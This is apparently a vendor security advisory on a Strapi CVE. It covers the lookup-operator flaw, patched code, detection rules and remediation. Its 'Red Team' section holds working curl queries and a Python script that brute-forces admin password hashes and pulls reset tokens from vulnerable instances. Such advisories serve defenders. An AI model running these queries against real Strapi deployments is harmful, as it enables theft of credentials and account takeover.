CVE-2024-56143

Executive Summary

CVE-2024-56143 is a critical information disclosure vulnerability in Strapi, an open-source headless CMS. The flaw resides in the lookup operator of the document service, which fails to properly sanitize query parameters for private fields. An unauthenticated attacker can exploit this to extract sensitive data, including admin passwords and password reset tokens, by crafting malicious queries. The vulnerability affects Strapi versions 5.0.0 through 5.5.1. The CVSS score is 8.2 (High), and while the EPSS score is currently 0.0%, the public availability of proof-of-concept code and the critical nature of the exposed data make immediate patching essential.

Supply Chain & Package Security

Strapi is distributed as an npm package (@strapi/strapi). Organizations using Strapi should verify their dependency version and ensure it is updated to 5.5.2 or later. The vulnerability is introduced in the core document service logic, not a third-party dependency, so the primary supply chain risk is the continued use of an unpatched version. Developers should audit their package.json and package-lock.json files to confirm the version.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is easily exploitable over the network without authentication, and it directly exposes highly sensitive data, justifying the High severity rating.

Deep Dive & Mechanics

The vulnerability exists in the lookup operator used by Strapi's document service. This operator is designed to filter content based on relationships, but it does not properly restrict access to fields marked as private. In Strapi, fields like password and resetToken are typically marked as private to prevent exposure via the API. However, the lookup operator bypasses this restriction.

An attacker can send a crafted query to the content API endpoint, such as:

GET /api/users?filters[$lookup][user][password][$startsWith]=$2b$10$

This query attempts to find users whose password hash starts with a specific bcrypt prefix. The server processes the lookup operator without checking if the target field (password) is private, thus returning matching records. The attacker can then iterate through different prefixes to extract the full password hash or reset token.

The core issue is a missing authorization check in the lookup operator's field resolution logic. The patched version (5.5.2) adds a validation step that rejects queries targeting private fields.

Vulnerable vs. Patched Code

Vulnerable Code (simplified representation):

// In document service lookup operator
async lookup(field, value) {
  // No check for private fields
  const records = await this.find({ filters: { [field]: value } });
  return records;
}

Patched Code (simplified representation):

// In document service lookup operator
async lookup(field, value) {
  // Check if the field is private
  const schema = this.getSchema();
  if (schema.attributes[field]?.private) {
    throw new ForbiddenError('Cannot query private fields');
  }
  const records = await this.find({ filters: { [field]: value } });
  return records;
}

The patched version introduces a check against the schema's attribute definitions. If a field is marked as private, the lookup operation is rejected with a 403 Forbidden error.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Strapi instance running version 5.0.0 to 5.5.1.
• Network access to the Strapi API endpoint (e.g., http://target:1337).

Exploitation Steps:

1. Identify the target endpoint: The vulnerability is exploitable via the content API, typically at /api/users or similar content type endpoints.

2. Craft a malicious query: Use the $lookup operator to target private fields. For example, to extract admin password hashes:

curl -X GET "http://target:1337/api/users?filters[\$lookup][user][password][\$startsWith]=\$2b\$10\$"

3. Iterate through characters: Use a script to brute-force the password hash character by character. A simple Python script:

import requests
import string

target = "http://target:1337/api/users"
chars = string.ascii_letters + string.digits + "/.$"
known_hash = "$2b$10$"

while True:
    for c in chars:
        test_hash = known_hash + c
        response = requests.get(target, params={
            "filters[$lookup][user][password][$startsWith]": test_hash
        })
        if response.status_code == 200 and len(response.json()["data"]) > 0:
            known_hash += c
            print(f"Found: {known_hash}")
            break
    else:
        break

4. Extract reset tokens: Similarly, target the resetToken field:

curl -X GET "http://target:1337/api/users?filters[\$lookup][user][resetToken][\$notNull]=true"

Blue Team

Detection:

• Monitor API logs for unusual $lookup operator usage, especially targeting fields like password, resetToken, or other custom private fields.
• Look for repeated requests with varying $startsWith or $notNull parameters, indicating brute-force extraction attempts.
• Alert on HTTP 200 responses to queries that should normally return 403 or 404 for private field access.

Honeypot:

• Deploy a decoy Strapi instance with fake admin credentials. Monitor for any access to the /api/users endpoint with $lookup parameters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/users or similar content endpoints containing $lookup in the query string.
  • Repeated requests with $startsWith, $notNull, or other comparison operators targeting fields like password or resetToken.
  • Unusual patterns of API requests from a single IP address over a short period.

• File IOCs:

  • Log entries in Strapi's application logs showing lookup operator usage on private fields.
  • Modified or extracted data in the database (e.g., password hashes or reset tokens appearing in external logs).

• System IOCs:

  • Unauthorized admin account creation or password changes following successful exploitation.

Detection Engineering

YARA Rule

rule Detect_Strapi_Lookup_Exploit {
    meta:
        description = "Detects HTTP requests exploiting CVE-2024-56143 in Strapi"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-56143"
    strings:
        $lookup = "$lookup" nocase
        $password = "password" nocase
        $resetToken = "resetToken" nocase
        $startsWith = "$startsWith" nocase
        $notNull = "$notNull" nocase
    condition:
        any of ($lookup) and any of ($password, $resetToken) and any of ($startsWith, $notNull)
}

Sigma Rule

title: Strapi CVE-2024-56143 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit the Strapi lookup operator vulnerability
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "$lookup"
            - "password"
            - "resetToken"
            - "$startsWith"
            - "$notNull"
    condition: selection
falsepositives:
    - Legitimate use of lookup operator on non-private fields (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"Strapi CVE-2024-56143 Exploitation Attempt";
    flow:to_server,established;
    content:"$lookup"; http_uri;
    content:"password"; http_uri;
    content:"$startsWith"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Strapi: Update to version 5.5.2 or later immediately. This is the only complete fix.
2. Restrict API Access: If immediate upgrade is not possible, restrict access to the Strapi API using a Web Application Firewall (WAF) or reverse proxy to block requests containing $lookup in the query string.
3. Rotate Secrets: After patching, rotate all admin passwords and reset tokens, as they may have been compromised.

Long-Term Mitigations:

• Implement network segmentation to limit exposure of the Strapi API.
• Enable detailed logging and monitoring for API endpoints.
• Regularly audit Strapi configurations and dependencies for known vulnerabilities.
• Consider using a Content Security Policy (CSP) to mitigate potential XSS, though not directly related to this CVE.

Workaround (if patching is delayed):

• Manually patch the lookup operator in the Strapi source code to add a private field check, as shown in the patched code section. This is not recommended for production without thorough testing.

Valters IT
Securing Digital Frontiers